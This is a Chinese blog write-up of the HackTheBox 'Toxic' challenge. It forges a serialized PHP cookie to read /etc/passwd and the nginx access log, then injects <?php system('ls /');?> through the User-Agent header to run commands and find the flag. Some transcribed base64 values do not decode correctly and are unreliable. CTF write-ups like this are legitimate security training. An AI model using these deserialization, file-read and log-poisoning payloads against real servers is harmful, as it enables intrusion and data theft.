

hackthebox-Toxic writeup

原创

[qq_40952713](#) 于 2021-08-19 11:49:09 发布 663 收藏

文章标签: [渗透测试](#) [靶机](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_40952713/article/details/119795157

版权

hackthebox-Toxic writeup

[cookie解码](#)

[尝试敏感文件读取](#)

[读取nginx日志文件](#)

[寻找flag](#)

[cookie解码](#)

分析源代码发现cookie是文件读取目录经过序列化之后再行base64编码后生成的

```
if (empty($_COOKIE['PHPSESSID']))
{
    $page = new PageModel;
    $page->file = '/www/index.html';

    setcookie(
        'PHPSESSID',
        base64_encode(serialize($page)),
        time()+60*60*24, |
        '/'
    );

    $cookie = base64_decode($_COOKIE['PHPSESSID']);
    unserialize($cookie);
}
```

https://blog.csdn.net/qq_40952713

将抓取到的cookie进行base64解码

Intercept HTTP history WebSockets history Options

http://188.166.173.208:31090 请求

发送 丢弃 拦截请求 行动 Open Browser

Pretty 原始 \n Actions

```
1 GET / HTTP/1.1
2 Host: 188.166.173.208:31090
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Cookie: PHPSESSID=
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjlt9
9 Upgrade-Insecure-Requests: 1
10 Cache-Control: max-age=0
11
12
```

https://blog.csdn.net/qq_40952713

```
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjlt9
```

```
O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";}
```

https://blog.csdn.net/qq_40952713

尝试敏感文件读取

修改路径，重新编码

The screenshot shows a web proxy tool interface with two text input fields. The first field contains the text: `O:9:"PageModel":1:{s:4:"file";s:11:"/etc/passwd"};`. The second field contains a long alphanumeric string: `Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2V0Yy9wYXNzd2QiO30=`. To the right of each field are controls for encoding/decoding, including radio buttons for 'Text' (selected) and '十六进制', and buttons for '解码...', '编码...', '哈希...', and '智能解码'.

替换原有的cookie值

The screenshot shows the 'Intercept' tab of a web proxy tool. The request URL is `http://188.166.173.208:31090 请求`. The request body is displayed in 'Pretty' mode. The 'Cookie' header is highlighted in red and contains the value: `PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2V0Yy9wYXNzd2QiO30=`. The 'INSPECT' panel on the right shows the request details.

读取成功，发现nginx用户

The screenshot shows a terminal window displaying the contents of the `/etc/passwd` file. The output lists system users and their home directories. The entry for the `nginx` user is highlighted in red: `nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin`.

读取nginx日志文件

O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log"};

Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czo5NToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmVzYlI7fQ==

● Text ○ 十六进制

解码...

编码...

哈希...

智能解码

● Text ○ 十六进制

解码...

编码...

哈希...

智能解码

✎ http://188.166.173.208:31090 请求

发送 丢弃 拦截请求 行动 Open Browser

Pretty 原始 \n Actions

```

1 GET / HTTP/1.1
2 Host: 188.166.173.208:31090
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Cookie: PHPSESSID=
  Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czo5NToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmVzYlI7fQ==
9 Upgrade-Insecure-Requests: 1
10 Cache-Control: max-age=0
11
12

```

INSPECTOR

Query Parameters

Body Parameters

Request Cookies

Request Headers

https://blog.csdn.net/qq_40952713

发现日志文件记录的信息为用户请求头的个别信息（User-Agent:字段内容是可修改的）

Dashboard Target Proxy Intruder Repeater Sequencer

Intercept HTTP history WebSockets history Options

过滤器: CSS, 图片, 一般隐藏二进制文件

#	主机	方法	URL
340	https://push.services.mozilla.com	GET	/
341	http://188.166.173.208:31090	GET	/
342	https://mirror2.extension.netcraf...	GET	/check_url/v3/http://188.166.

原始请求

```

1 GET / HTTP/1.1
2 Host: 188.166.173.208:31090
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Cookie: PHPSESSID=
  Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czo5NToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmVzYlI7fQ==
9 Upgrade-Insecure-Requests: 1
10 Cache-Control: max-age=0
11
12

```

https://blog.csdn.net/qq_40952713

寻找flag

修改User-Agent:内容，将PHP代码存入日志文件中，来查看当前目录下的文件（中途靶机被玩坏了，重新启动了靶机，IP变了）

http://139.59.166.56:30093 请求

发送 丢弃 拦截请求 行动 Open Browser

Pretty 原始 \n Actions

```

1 GET / HTTP/1.1
2 Host: 139.59.166.56:30093
3 User-Agent: <?php system('ls /');?>
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Cookie: PHPSESSID=
9 Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czo5NToiL3d3dy9pbmRleC5odGlsIjt9
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

```

https://blog.csdn.net/qq_40952713

再次读取日志文件

http://139.59.166.56:30093 请求

发送 丢弃 拦截请求 行动 Open Browser

Pretty 原始 \n Actions

```

1 GET / HTTP/1.1
2 Host: 139.59.166.56:30093
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101
Firefox/90.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Cookie: PHPSESSID=
9 Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czo5NToiL3d3dy9pbmRleC5odGlsIjt9
I7fQ==
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

```

https://blog.csdn.net/qq_40952713

日志文件中的PHP代码被执行后，成功显示出文件列表，发现一个名为flag_57zcg的文件

139.59.166.56:30093/

139.59.166.56:30093

```

Firefox/90.0" 139.59.166.56 - 200 "GET /static/images/dart-irrog.jpg HTTP/1.1" "http://139.59.166.56:30093/"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0" 139.59.166.56 - 200
"GET /static/images/ryan3.png HTTP/1.1" "http://139.59.166.56:30093/" "Mozilla/5.0 (Macintosh; Intel Mac OS
X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0" 139.59.166.56 - 200 "GET /static/images/ryan1.png HTTP/1.1"
"http://139.59.166.56:30093/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101
Firefox/90.0" 139.59.166.56 - 200 "GET /static/images/ryan4.png HTTP/1.1" "http://139.59.166.56:30093/"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0" 139.59.166.56 - 200
"GET /static/images/favicon.ico HTTP/1.1" "http://139.59.166.56:30093/" "Mozilla/5.0 (Macintosh; Intel Mac OS
X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0" 139.59.166.56 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0
(Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0" 139.59.166.56 - 200 "GET
/favicon.ico HTTP/1.1" "http://139.59.166.56:30093/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0)
Gecko/20100101 Firefox/90.0" 139.59.166.56 - 200 "GET / HTTP/1.1" "-" "bin dev entrypoint.sh etc flag_57zcg
home lib media mnt opt proc root run/sbin srv sys tmp usr var www " 139.59.166.56 - 304 "GET /static/images

```

